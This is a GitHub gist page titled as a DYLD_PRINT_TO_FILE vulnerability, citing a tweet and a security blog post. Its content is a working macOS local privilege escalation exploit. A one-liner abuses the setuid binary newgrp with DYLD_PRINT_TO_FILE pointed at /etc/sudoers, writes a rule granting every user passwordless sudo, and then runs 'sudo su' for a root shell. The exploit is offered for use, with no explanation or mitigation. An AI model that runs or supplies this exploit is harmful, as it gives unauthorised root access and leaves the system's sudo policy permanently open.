Created
July 23, 2015 02:51
-
-
Save szhu/816822de3f171e6ce15c to your computer and use it in GitHub Desktop.
DYLD_PRINT_TO_FILE vulerability
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# https://twitter.com/nst021/status/623953011325468673 | |
# https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html | |
echo python -c '"import os; os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp | |
sudo su |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment